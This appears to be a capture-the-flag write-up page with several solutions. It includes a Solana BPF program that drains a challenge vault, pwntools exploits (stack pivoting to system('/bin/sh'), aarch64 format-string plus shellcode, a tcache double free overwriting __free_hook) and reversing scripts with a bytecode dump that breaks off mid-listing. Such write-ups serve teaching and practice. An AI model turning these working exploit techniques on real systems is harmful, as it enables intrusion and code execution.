131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
|
/**
* @brief C-based hacker BPF program
*/
#include <solana_sdk.h>
// required order of params
#define CLOCK 0
#define SYSTEM 1
#define LEDGER 2
#define VAULT 3
#define USER 4
#define SOLFIRE 5
#define SOLVE 6
typedef struct {
uint16_t idx;
uint16_t amt;
uint8_t bump;
} withdraw_args;
typedef struct {
uint16_t idx;
uint16_t amt;
} deposit_args;
typedef struct {
uint16_t deposit;
uint16_t withdraw;
} Pocket;
#define POCKET_CNT 10
typedef struct {
Pocket pockets[POCKET_CNT];
} Wallet;
typedef struct {
uint64_t lamports;
uint64_t space;
SolPubkey owner;
} create_account_sys;
void solfire_create1(SolParameters *params, uint8_t ledger_nonce) {//ledger is wallet
sol_log("create!");
uint8_t seed[] = { 'w', 'a', 'l', 'l', 'e', 't', 'x' };
seed[6] = ledger_nonce;
const SolSignerSeed seeds[] = {{seed, SOL_ARRAY_SIZE(seed)}};
const SolSignerSeeds signers_seeds[] = {{seeds, SOL_ARRAY_SIZE(seeds)}};
SolAccountMeta arguments[] = {
{params->ka[USER].key /* user */, true, true},
{params->ka[LEDGER].key /* ledger */, true, true}
};
uint8_t data[4 + sizeof(create_account_sys)]; // Enough room for the Allocate instruction
sol_memset(data, 0, sizeof(data));
*(uint16_t *)data = 0;
create_account_sys* data_args = (create_account_sys*) (data + 4);
data_args->lamports = 1;
data_args->space = sizeof(Wallet);
sol_memcpy(&data_args->owner, params->program_id, sizeof(SolPubkey));
const SolInstruction instruction = {params->ka[SYSTEM].key, arguments,
SOL_ARRAY_SIZE(arguments), data,
SOL_ARRAY_SIZE(data)};
sol_invoke_signed(&instruction, params->ka, params->ka_num,
signers_seeds, SOL_ARRAY_SIZE(signers_seeds));
}
void solfire_create2(SolParameters *params, uint8_t ledger_nonce) {//ledger is wallet
sol_log("create");
// There must be exactly 5 addresses
SolAccountMeta meta[] = {
{params->ka[CLOCK].key /* clock */, false, false},
{params->ka[SYSTEM].key /* system */, false, false}, /* must be system */
{params->ka[LEDGER].key /* ledger */, true, false}, /* "ledger" -must be writeable, must be owned */
{params->ka[USER].key /* user */, true, true}, /* receiving account - must be writeable */
{params->ka[USER].key /* vault */, true, true}, /*must be vault,must be writable*/
};
uint8_t data[5] = {0};
data[4] = ledger_nonce;
const SolInstruction instruction = {
params->ka[SOLFIRE].key /*program */,
meta, SOL_ARRAY_SIZE(meta),
data, SOL_ARRAY_SIZE(data)
};
sol_invoke_signed(&instruction, params->ka, params->ka_num, (SolSignerSeeds*)0, 0);
}
void solfire_deposit(SolParameters *params, uint8_t ledger_nonce) {
sol_log("deposit:1");
// There must be exactly 5 addresses
uint8_t seed[] = { 'w', 'a', 'l', 'l', 'e', 't', 'x' };
seed[6] = ledger_nonce;
const SolSignerSeed seeds[] = {{seed, SOL_ARRAY_SIZE(seed)}};
const SolSignerSeeds signers_seeds[] = {{seeds, SOL_ARRAY_SIZE(seeds)}};
SolAccountMeta meta[] = {
{params->ka[CLOCK].key /* clock */, false, false},
{params->ka[SYSTEM].key /* system */, false, false}, /* must be system */
{params->ka[LEDGER].key /* ledger */, true, false}, /* "ledger" - must be writeable, must be owned */
{params->ka[USER].key /* user */, true, true}, /* funding account- must be writeable, must be signed */
{params->ka[USER].key /* user */, true, false}, /* receiving account, must be writable*/
};
sol_log("deposit:2");
uint8_t data[8] = {0};
data[0] = 1;
data[4] = 1;
data[6] = 5;
const SolInstruction instruction = {params->ka[SOLFIRE].key /*program */,meta, SOL_ARRAY_SIZE(meta),data, SOL_ARRAY_SIZE(data)};
sol_log("deposit:3");
sol_invoke_signed(&instruction, params->ka, params->ka_num, signers_seeds, SOL_ARRAY_SIZE(signers_seeds));
//sol_invoke_signed(&instruction, params->ka, params->ka_num, (SolSignerSeeds*)0, 0);
sol_log("deposit:4");
}
void solfire_withdrawl1(SolParameters *params, uint8_t vault_nonce) {
sol_log("withDraw2");
// There must be exactly 5 addresses
SolAccountMeta meta[] = {
{params->ka[CLOCK].key /* clock */, false, false},
{params->ka[SYSTEM].key /* system */, false, false}, /* must be system */
{params->ka[LEDGER].key /* ledger */, true, false}, /* "ledger" -must be writeable, must be owned */
{params->ka[USER].key /* user */, true, true}, /* receiving account - must be writeable */
{params->ka[VAULT].key /* vault */, true, false}, /*must be vault,must be writable*/
};
uint8_t data[4 + sizeof(withdraw_args)];
sol_memset(data, 0, sizeof(data));
*(uint32_t *)data = 2;
withdraw_args* data_args = (withdraw_args*) (data + 4);
data_args->idx = 1;
data_args->amt = 2;
data_args->bump = vault_nonce;
const SolInstruction instruction = {
params->ka[SOLFIRE].key /*program */,
meta, SOL_ARRAY_SIZE(meta),
data, SOL_ARRAY_SIZE(data)
};
sol_invoke_signed(&instruction, params->ka, params->ka_num, (SolSignerSeeds*)0, 0);
}
void solfire_withdrawl2(SolParameters *params, uint8_t vault_nonce) {
sol_log("withDraw2");
// There must be exactly 5 addresses
SolAccountMeta meta[] = {
{params->ka[CLOCK].key /* clock */, false, false},
{params->ka[SYSTEM].key /* system */, false, false}, /* must be system */
{params->ka[LEDGER].key /* ledger */, true, false}, /* "ledger" -must be writeable, must be owned */
{params->ka[USER].key /* user */, true, true}, /* receiving account - must be writeable */
{params->ka[VAULT].key /* vault */, true, false}, /*must be vault,must be writable*/
};
uint8_t data[4 + sizeof(withdraw_args)];
sol_memset(data, 0, sizeof(data));
*(uint32_t *)data = 2;
withdraw_args* data_args = (withdraw_args*) (data + 4);
data_args->idx = 1;
data_args->amt = 0xffff;
data_args->bump = vault_nonce;
const SolInstruction instruction = {
params->ka[SOLFIRE].key /*program */,
meta, SOL_ARRAY_SIZE(meta),
data, SOL_ARRAY_SIZE(data)
};
sol_invoke_signed(&instruction, params->ka, params->ka_num, (SolSignerSeeds*)0, 0);
}
uint64_t hacker(SolParameters *params) {
uint8_t ledger_nonce = params->data[0];
uint8_t vault_nonce = params->data[1];
uint8_t solfire_nonce = params->data[2];
sol_log("start hacking!");
solfire_create2(params,ledger_nonce);
solfire_deposit(params,ledger_nonce);
solfire_withdrawl1(params,vault_nonce);
solfire_withdrawl2(params,vault_nonce);
sol_log("[+] pwned");
return SUCCESS;
}
extern uint64_t entrypoint(const uint8_t *input) {
sol_log("[+] Hacker welcome");
SolAccountInfo accounts[7];
SolParameters params = (SolParameters){.ka = accounts};
if (!sol_deserialize(input, ¶ms, SOL_ARRAY_SIZE(accounts))) {
return ERROR_INVALID_ARGUMENT;
}
return hacker(¶ms);
}
|
Skilltest
Stack Overflow in glibc2.34.
There are no gadgets to do ret2csu in this program and only ‘pop rdi; nop; leave; ret;’.
No ‘pop rdi; ret;’, no ‘pop rsi; ret;’ , no ‘pop rdx; ret;’.
Then we find 0x40140B to do stack pivoting, leak libc and return ‘start’.
Then stack pivoting twice to do system("/bin/sh").
.text:000000000040140B mov rdx, rax ; n
.text:000000000040140E mov rax, [rbp+s]
.text:0000000000401412 mov rsi, rax ; buf
.text:0000000000401415 mov edi, 1 ; fd
.text:000000000040141A call _write
.text:000000000040141F nop
.text:0000000000401420 leave
.text:0000000000401421 retn
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
#coding:utf-8
from pwn import *
import sys,os,string,base64
elf_path = './skilltest'
remote_libc_path = './libc-2.34.so'
P = ELF(elf_path)
context(os='linux',arch='amd64')
#context.terminal = ['terminator','-x','sh','-c']
context.terminal = ['tmux','split','-h']
context.log_level = 'debug'
if sys.argv[1] == 'local':
p = process(elf_path)
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('skilltest.nc.jctf.pro',1337)
libc = ELF(remote_libc_path)
#gdb.attach(p)
p.recvuntil('Nick: ')
pop_rdi = 0x4018DC
leave = 0x4018DE
p.send(b'\x11'*0x28+p64(0x3ff000)+p64(0xdeadbeef)*2+p64(0x3ff000)+p64(leave))
p.recvuntil('tag: ')
payload = p64(0x3ff018)
payload+= p64(0x40140B)
payload+= p64(P.got['write'])
payload+= p64(0xdeadbeef)
payload+= p64(0x4011F0)
p.send(payload)
p.recvuntil('ks\n')
libcbase = u64(p.recvn(6).ljust(8,b'\x00'))-libc.sym['write']
log.success('libcbase = '+hex(libcbase))
#gdb.attach(p)
p.recvuntil('Nick: ')
payload = b'\x11'*0x28+p64(0x3ff000)
payload+= p64(0xdeadbeef)*2+p64(0x3ff000-8)+p64(leave)
p.send(payload)
p.recvuntil('tag: ')
p.send(p64(libcbase+0x000000000002a6c5)+p64(libcbase+next(libc.search(b'/bin/sh')))+p64(libcbase+libc.sym['system']))
p.interactive()
|
arm
Stack overflow and Formatting string vulnerability in armv8/aarch64.
- Leak stack address with Formatting string vulnerability.
- Run short read shellcode(need the help of current register context) to bypass the filter and read real shellcode to stack with stack overflow.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
#coding:utf-8
from pwn import *
import sys,os
if sys.argv[1] == 'local':
p = process(['qemu-aarch64-static','-L','/usr/aarch64-linux-gnu/','./cli'])
elif sys.argv[1] == 'debug':
p = process(['qemu-aarch64-static','-g','1234','-L','/usr/aarch64-linux-gnu/','./cli'])
elif sys.argv[1] == 'remote':
p = remote('arm.nc.jctf.pro',5002)
context(os='linux', arch='aarch64')
context.log_level = 'debug'
def cmd(cmd):
p.sendlineafter(b'> ', cmd)
#b *0x5500000C2C
p.recvuntil(b': ')
p.sendline(b'admin')
p.recvuntil(b': ')
p.sendline(b'admin1')
cmd(b'mode advanced')
payload = b'echo '
payload+= b'%12$p'
cmd(payload)
stack = int(p.recvuntil('\n',drop=True),16)
log.success('stack = '+hex(stack))
shellcode = asm('''
mov x2,#256;
mov x1,x26;
sub x1,x1,#{};
mov x8,#SYS_read;
svc 0x1337;
'''.format(0x330-(0x4a0-0x358)+4)).ljust(0x70,b'a')
payload = b'echo '
payload+= shellcode
payload+= p64(stack+(0x3488-0x33b0))
cmd(payload)
cmd(b'exit')
raw_input()
p.send(asm(shellcraft.sh()))
p.interactive()
|
notes
Double free in libc 2.31.
Leak libc by unsorted bin.
Free a chunk in fastbin when tcache isn’t full, the chunk will be put into tcache, achieving double free.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
#!/usr/bin/env python3
from pwn import *
context.log_level = 'debug'
if args.R:
p = remote('notes.nc.jctf.pro', 5001)
else:
p = process('./notes', env = {'LD_PRELOAD':'./libc-2.31.so'})
size = -1
def add(p,size,content):
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b'size: ',str(size))
p.sendlineafter(b'content: ',content)
def remove(p,idx):
p.sendlineafter(b'> ',b'2')
p.sendlineafter(b'note id: ',str(idx))
def show(p,idx):
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b'note id: ',str(idx))
return p.recvline().strip()
if __name__ == '__main__':
p.sendlineafter(b'How many notes you plan to use? (0-10): ', str(size))
for i in range(8):
add(p, 0xf0,bytes([i]*8))
for i in range(8):
add(p, 0x60,bytes([i]*8))
for i in range(8):
remove(p,i)
t = show(p,7)
libc_base = u64(t.ljust(8,b'\x00')) - 0x1ecbe0
free_hook = libc_base + 0x1eee48
malloc_hook = libc_base + 0x1ecb70
system_addr = libc_base + 0x52290
print('libc_base : %s' % hex(libc_base))
for i in range(8):
remove(p,i+8)
add(p,0x60,'tcache') #16
remove(p,15)
add(p,0x60,p64(free_hook - 0x10)) #17
for i in range(7):
add(p,0x60,b'/bin/sh\x00')
# pause()
add(p,0x60,p64(system_addr))
remove(p,20)
p.interactive()
|
Re
I’m slow
Function print_flag will calculate every flag character slowly and print it, so we need to analyze the logic to calculate flag and implement it in a faster way.
The type of global variable atad is std::vector< std::pair<unsigned int, unsigned int> >[304]
, the simplified struct declaration (for IDA):
1
2
3
4
5
6
7
8
9
10
11
|
struct std::pair::uint_uint { // std::pair<unsigned int, unsigned int>
unsigned int first;
unsigned int second;
};
struct std::vector::__pair__uint_uint // std::vector< std::pair<unsigned int, unsigned int> >
{
std::pair::uint_uint *start;
std::pair::uint_uint *finish;
std::pair::uint_uint *end_of_storage;
};
|
Function print_flag is a big loop. During a single loop, every 4 vectors of pairs are read from atad, and then expand every vector(containing pairs) to a vector of unsigned int, which the function g_func does. For example, the input vector of pairs ((1, 4), (7, 11), (22, 25)) would be expanded to a vector of numbers (1, 2, 3, 4, 7, 8, 9, 10, 11, 22, 23, 24, 25).
After expansion, the 4 different vectors will be passed to 4 different functions, ab_func<unsigned int,std::less<void>>
(return the minimum value), ab_func<unsigned int,std::greater<void>>
(return the maximum value), c_func<unsigned int,std::less<void>>
(quick_sort, to get the median later), d_func<unsigned int>
(shown below with python code)
1
2
3
4
5
6
7
8
9
10
|
def func(vector):
table = []
for i in vector:
table.append(0)
if isPrime(i):
for j in vector:
if j % i == 0:
table[-1] += 1
# print(max(table))
return vector[table.index(max(table))]
|
So we can just dump the value of atad and calculate flag in a faster way. Use gdb to debug, breakpoint at main, run, then dump memory ./dumped_5f9500_608a08 0x5f9500 0x608a08.
Final python script to calculate flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
|
#!/usr/bin/python2
from Crypto.Util.number import isPrime
def func_a(vector):
return min(vector)
def func_b(vector):
return max(vector)
def func_c(vector):
vector = list(sorted(vector))
return vector[len(vector) / 2]
def func_d(vector):
table = []
for i in vector:
table.append(0)
if isPrime(i):
for j in vector:
if j % i == 0:
table[-1] += 1
return vector[table.index(max(table))]
def func0(a, b, c, d, e):
return (d ^ ((a * b + e * 0x1337) / c)) % 128
pairs_vector = []
# read from dump
def qword(data, index):
x = 0
for i in range(8):
x |= ord(data[index + i]) << (8 * i)
return x
def dword(data, index):
x = 0
for i in range(4):
x |= ord(data[index + i]) << (8 * i)
return x
data = open('./dumped_5f9500_608a08', 'rb').read()
base = 0x5f9500
for i in range(304):
pairs_vector.append([])
start = qword(data, i * 24) - base
end = qword(data, i * 24 + 8) - base
assert 0 < start < len(data) and 0 < end <= len(data)
while start < end:
pairs_vector[-1].append([dword(data, start), dword(data, start + 4)])
start += 8
# assert len(pairs_vector) == 304
flag = ''
def gen_vector(pairs):
x = []
for pair in pairs:
assert pair[0] <= pair[1]
x += list(range(pair[0], pair[1] + 1))
return x
for i in range(0, 304, 4):
a = func_a(gen_vector(pairs_vector[i]))
b = func_b(gen_vector(pairs_vector[i + 1]))
c = func_c(gen_vector(pairs_vector[i + 2]))
d = func_d(gen_vector(pairs_vector[i + 3]))
flag += chr(func0(a, b, c, d, i / 4))
print(flag)
# print(flag)
|
It still takes some time. Flag printed: justCTF{1_4m_5l0w_4nd_7h3_fl4gO15_l0ng_bu7_1_h0p3_y0u_0b53rv3d_m3_c4r3fu11G}
Fixed some typos: justCTF{1_4m_5l0w_4nd_7h3_fl4g_15_l0ng_bu7_1_h0p3_y0u_0b53rv3d_m3_c4r3fu11y}
AMXX
encoder.amxx has self-modify, so before reverse we need patch it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
# patch.py
import zlib
import struct
data1 = bytes.fromhex(
'2e00000089000000890000002c0000007cffffff590000000e0000007cffffff7700000084000000890000002c000000fcffffff2700000020000000850000007cffffff290000000c000000270000000c0000007b000000080000002c000000100000001100000078ffffff8900000027000000000000002700000000000000330000001c0a0000890000006e00000074ffffff0300000074ffffff040000001400000040000000c40a0000890000000300000074ffffff04000000100000001b0000002400000009000000240000000d0000007cffffff240000000300000070ffffff6e00000070ffffff79000000200000002b0000001b000000090000002b000000530000002b00000017000000890000000300000078ffffff0400000070ffffff4a000000210000001100000070ffffff33000000100a00002c0000000800000089000000270000000000000033000000fc0a0000890000000300000074ffffff57000000020000001100000074ffffff0300000074ffffff57000000010000002200000003000000140000003e0000003c0c0000890000000300000074ffffff04000000100000001b0000002400000009000000240000000300000010000000240000000300000074ffffff57000000010000002b0000001b000000090000002b000000530000002b00000017000000890000000300000010000000240000000300000074ffffff57000000010000002b0000001b0000002400000009000000240000000300000074ffffff04000000100000001b000000090000002b000000530000002b00000017000000890000000300000074ffffff04000000100000001b0000002400000009000000240000000300000010000000240000000300000074ffffff57000000010000002b0000001b000000090000002b000000530000002b0000001700000033000000e00a00002c000000040000008900000003000000140000002c0000008800000030000000'
)
data2 = bytes.fromhex(
'2e0000008900000089000000270000000000000089000000270000000000000033000000e40f0000890000006e000000f8ffffff03000000f8ffffff040000001000000040000000ac1000008900000085000000fcffffff2d000000000400002500000003000000f8ffffff040000000c0000001b0000002400000027000000c403000027000000080000007b000000000000002c0000000c0000002a00000024000000280000002c040000270000000c0000007b000000070000002c000000100000002d00000000fcffff8900000003000000f8ffffff040000000c0000001b0000002200000003000000fcffffff1700000033000000d80f00002c000000040000008900000003000000100000002c0000000400000030000000'
)
data3 = bytes.fromhex(
'2e00000089000000890000002c000000fcffffff27000000d803000027000000040000007b000000090000002c0000000800000011000000fcffffff89000000270000000000000033000000b4120000890000006e000000f8ffffff03000000f8ffffff0400000010000000400000007c1300008900000003000000fcffffff2400000003000000f8ffffff040000000c0000001b0000000900000058000000adde00002b0000004e00000011000000fcffffff8900000003000000fcffffff570000000100000011000000fcffffff890000000b0000000010000004000000fcffffff4a0000002100000011000000fcffffff8900000003000000f8ffffff040000000c0000001b0000002200000003000000fcffffff1700000033000000a81200002c000000040000008900000003000000100000002c0000000400000030000000'
)
with open('encoder.amxx', 'rb') as f:
raw = f.read()
header = raw[:0x18]
data = raw[0x18:]
raw_data = zlib.decompress(data)
raw_data = bytearray(raw_data)
assert raw_data[0x360 + 8] == 0x2e
def patch(start, data, offset):
assert len(data) % 4 == 0
l = len(data) // 4
fmt = '<' + 'I' * l
unpacked = list(struct.unpack(fmt, data))
i = 0
while i < len(unpacked):
x = unpacked[i]
if x in [49, 51, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 129]:
unpacked[i + 1] += offset
i += 1
i += 1
new_data = struct.pack(fmt, *unpacked)
for i, x in enumerate(new_data):
raw_data[start + i] = x
encode1_start = 2404 + 0x360
encode2_start = 3256 + 0x360
encode3_start = 3652 + 0x360
patch(encode1_start, data1, -2440 + 2404)
patch(encode2_start, data2, -4016 + 3256)
patch(encode3_start, data3, -4696 + 3652)
compressed = zlib.compress(raw_data)
with open('patched.amxx', 'wb') as f:
f.write(header[:8])
f.write(struct.pack('<I', len(compressed)))
f.write(header[8 + 4:])
f.write(compressed)
print(f'compressed size: {len(compressed):x}')
|
Then we can use amxxdump.exe dump the bytecode. Here is my dump and comments:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
|
0x964 PROC ; public encode1(id,password[],password_len)
0x968 BREAK
0x96C BREAK
0x970 STACK 0xFFFFFF7C ; allocate 33 cells
0x978 ZERO.pri
0x97C ADDR.alt 0xFFFFFF7C
0x984 FILL 0x84 ; 33 cells
0x98C BREAK
0x990 STACK 0xFFFFFFFC ; allocate 1 cells
0x998 PUSH.C 0x20
0x9A0 PUSH.ADR 0xFFFFFF7C ; name[33]
0x9A8 PUSH.S 0xC ; id
0x9B0 PUSH.C 0xC
0x9B8 SYSREQ.C 0x8 ; get_user_name
0x9C0 STACK 0x10 ; free 4 cells
0x9C8 STOR.S.pri 0xFFFFFF78 ; nick_len
0x9D0 BREAK
0x9D4 PUSH.C 0x0
0x9DC PUSH.C 0x0
0x9E4 JUMP 0x9F8
0x9EC BREAK
0x9F0 INC.S 0xFFFFFF74 ;
; new i
0x9F8 LOAD.S.pri 0xFFFFFF74 ; i
0xA00 LOAD.S.alt 0x14 ; password_len
0xA08 JSGEQ 0xAA0
0xA10 BREAK
0xA14 LOAD.S.pri 0xFFFFFF74 ; i
0xA1C LOAD.S.alt 0x10 ; password[]
0xA24 IDXADDR ;pri=pw+i
0xA28 PUSH.pri ;a6c
0xA2C LOAD.I ;pri=pw[i]
0xA30 PUSH.pri ;a64
0xA34 ADDR.pri 0xFFFFFF7C ; name[33]
0xA3C PUSH.pri ;a58
0xA40 LOAD.S.pri 0xFFFFFF70 ; v
0xA48 INC.S 0xFFFFFF70 ; v ;v++
0xA50 BOUNDS 0x20
0xA58 POP.alt ;alt=name
0xA5C IDXADDR ;pri=name+v
; new v
0xA60 LOAD.I ;pri=name[v]
0xA64 POP.alt ;alt=pw[i]
0xA68 XOR ;pri=name[v]^pw[i]
0xA6C POP.alt ;alt=pw+i
0xA70 STOR.I ;[pw+i]=name[v]^pw[i]
0xA74 BREAK
0xA78 LOAD.S.pri 0xFFFFFF78 ; nick_len
0xA80 LOAD.S.alt 0xFFFFFF70 ; v
0xA88 SDIV.alt
0xA8C MOVE.pri
0xA90 STOR.S.pri 0xFFFFFF70 ; v
0xA98 JUMP 0x9EC
0xAA0 STACK 0x8 ; free 2 cells
0xAA8 BREAK
0xAAC PUSH.C 0x0
0xAB4 JUMP 0xAD8
0xABC BREAK
0xAC0 LOAD.S.pri 0xFFFFFF74 ; i
0xAC8 ADD.C 0x2 ; signed: 2
0xAD0 STOR.S.pri 0xFFFFFF74 ; i
0xAD8 LOAD.S.pri 0xFFFFFF74 ; i
0xAE0 ADD.C 0x1 ; signed: 1
0xAE8 MOVE.alt
0xAEC LOAD.S.pri 0x14 ; password_len
0xAF4 JSLEQ 0xC18 ;len<=i+1
0xAFC BREAK
0xB00 LOAD.S.pri 0xFFFFFF74 ; i
0xB08 LOAD.S.alt 0x10 ; password[]
0xB10 IDXADDR ;pri=pw+i
0xB14 PUSH.pri ;b50
0xB18 LOAD.I ;pri=pw[i]
0xB1C PUSH.pri ;b48
0xB20 LOAD.S.pri 0x10 ; password[]
0xB28 PUSH.pri ;b3c
0xB2C LOAD.S.pri 0xFFFFFF74 ; i
0xB34 ADD.C 0x1 ; signed: 1
0xB3C POP.alt ;alt=pw
0xB40 IDXADDR ;pri=pw+i+1
; new i
0xB44 LOAD.I ;pri=pw[i+1]
0xB48 POP.alt ;alt=pw[i]
0xB4C XOR ;pri=pw[i]^pw[i+1]
0xB50 POP.alt ;alt=pw+i
0xB54 STOR.I ;pw[i]=pw[i]^pw[i+1]
0xB58 BREAK
0xB5C LOAD.S.pri 0x10 ; password[]
0xB64 PUSH.pri ;pri=pw
0xB68 LOAD.S.pri 0xFFFFFF74 ; i
0xB70 ADD.C 0x1 ; signed: 1
0xB78 POP.alt ;alt=pw
0xB7C IDXADDR ;pri=pw+i+1
0xB80 PUSH.pri
0xB84 LOAD.I ;pri=pw[i+1]
0xB88 PUSH.pri
0xB8C LOAD.S.pri 0xFFFFFF74 ; i
0xB94 LOAD.S.alt 0x10 ; password[]
0xB9C IDXADDR ;pri=pw+i
0xBA0 LOAD.I ;pri=pw[i]
0xBA4 POP.alt ;alt=pw[i+1]
0xBA8 XOR ;pri=pw[i]^pw[i+1]
; new v
0xBAC POP.alt ;alt=pw+i+1
0xBB0 STOR.I ;pw[i+1]=pw[i]^pw[i+1]
0xBB4 BREAK
0xBB8 LOAD.S.pri 0xFFFFFF74 ; i
0xBC0 LOAD.S.alt 0x10 ; password[]
0xBC8 IDXADDR
0xBCC PUSH.pri
0xBD0 LOAD.I
0xBD4 PUSH.pri
0xBD8 LOAD.S.pri 0x10 ; password[]
0xBE0 PUSH.pri
0xBE4 LOAD.S.pri 0xFFFFFF74 ; i
0xBEC ADD.C 0x1 ; signed: 1
0xBF4 POP.alt
0xBF8 IDXADDR
0xBFC LOAD.I
0xC00 POP.alt
0xC04 XOR
0xC08 POP.alt
0xC0C STOR.I
0xC10 JUMP 0xABC
0xC18 STACK 0x4 ; free 1 cells
0xC20 BREAK
0xC24 LOAD.S.pri 0x14 ; password_len
0xC2C STACK 0x88 ; free 34 cells
0xC34 RETN
0xCB8 PROC ; public encode2(password[],password_len)
0xCBC BREAK
0xCC0 BREAK
0xCC4 PUSH.C 0x0
0xCCC BREAK
0xCD0 PUSH.C 0x0
0xCD8 JUMP 0xCEC
0xCE0 BREAK
0xCE4 INC.S 0xFFFFFFF8 ; i ;i++
0xCEC LOAD.S.pri 0xFFFFFFF8 ; i
0xCF4 LOAD.S.alt 0x10 ; password_len
0xCFC JSGEQ 0xDB4 ;i==len(pw)
0xD04 BREAK
; new i
0xD08 PUSH.ADR 0xFFFFFFFC ; b
0xD10 HEAP 0x400 ;alt=heap
0xD18 PUSH.alt
0xD1C LOAD.S.pri 0xFFFFFFF8 ; i
0xD24 LOAD.S.alt 0xC ; password[]
0xD2C IDXADDR ;pri=pw+i
0xD30 PUSH.pri
0xD34 PUSH.C 0x3C4 ; "%02x"
0xD3C PUSH.C 0x8
0xD44 SYSREQ.C 0x0 ; fmt
0xD4C STACK 0xC ; free 3 cells
0xD54 POP.pri ;pri=ret
0xD58 PUSH.pri
0xD5C PUSH 0x42C ; Trie:parts
0xD64 PUSH.C 0xC
0xD6C SYSREQ.C 0x7 ; TrieGetCell
0xD74 STACK 0x10 ; free 4 cells
0xD7C HEAP 0xFFFFFC00
0xD84 BREAK
0xD88 LOAD.S.pri 0xFFFFFFF8 ; i
0xD90 LOAD.S.alt 0xC ; password[]
0xD98 IDXADDR
0xD9C MOVE.alt
0xDA0 LOAD.S.pri 0xFFFFFFFC ; b
0xDA8 STOR.I
0xDAC JUMP 0xCE0
0xDB4 STACK 0x4 ; free 1 cells
0xDBC BREAK
0xDC0 LOAD.S.pri 0x10 ; password_len
0xDC8 STACK 0x4 ; free 1 cells
0xDD0 RETN
0xE44 PROC ; public encode3(password[],password_len)
0xE48 BREAK ; encoder.sma:149
0xE4C BREAK ; encoder.sma:150
0xE50 STACK 0xFFFFFFFC ; allocate 1 cells
0xE58 PUSH.C 0x3D8
0xE60 PUSH.C 0x4
0xE68 SYSREQ.C 0x9 ; get_cvar_num
0xE70 STACK 0x8 ; free 2 cells
0xE78 STOR.S.pri 0xFFFFFFFC ; b ;b=1337
0xE80 BREAK ; encoder.sma:153
0xE84 PUSH.C 0x0
0xE8C JUMP 0xEA0
0xE94 BREAK ; encoder.sma:153
0xE98 INC.S 0xFFFFFFF8 ;i+=1
0xEA0 LOAD.S.pri 0xFFFFFFF8 ;
; new i
0xEA8 LOAD.S.alt 0x10 ; password_len
0xEB0 JSGEQ 0xF68
0xEB8 BREAK ; encoder.sma:154
0xEBC LOAD.S.pri 0xFFFFFFFC ; b
0xEC4 PUSH.pri ;ee8
0xEC8 LOAD.S.pri 0xFFFFFFF8 ; i
0xED0 LOAD.S.alt 0xC ; password[]
0xED8 IDXADDR ;pri=pw+i
0xEDC LOAD.I ;pri=pw[i]
0xEE0 SMUL.C 0xDEAD ;pri=pw[i]*0xdead
0xEE8 POP.alt ;alt=b
0xEEC ADD ;pri=pw[i]*0xdead+b
0xEF0 STOR.S.pri 0xFFFFFFFC ; b ;b=pw[i]*0xdead+b
0xEF8 BREAK ; encoder.sma:154
0xEFC LOAD.S.pri 0xFFFFFFFC ; b
0xF04 ADD.C 0x1 ; signed: 1
0xF0C STOR.S.pri 0xFFFFFFFC ; b ;b=b+1
0xF14 BREAK ; encoder.sma:156
0xF18 CONST.pri 0x1000
0xF20 LOAD.S.alt 0xFFFFFFFC ; b
0xF28 SDIV.alt
0xF2C MOVE.pri ;pri=b%0x1000
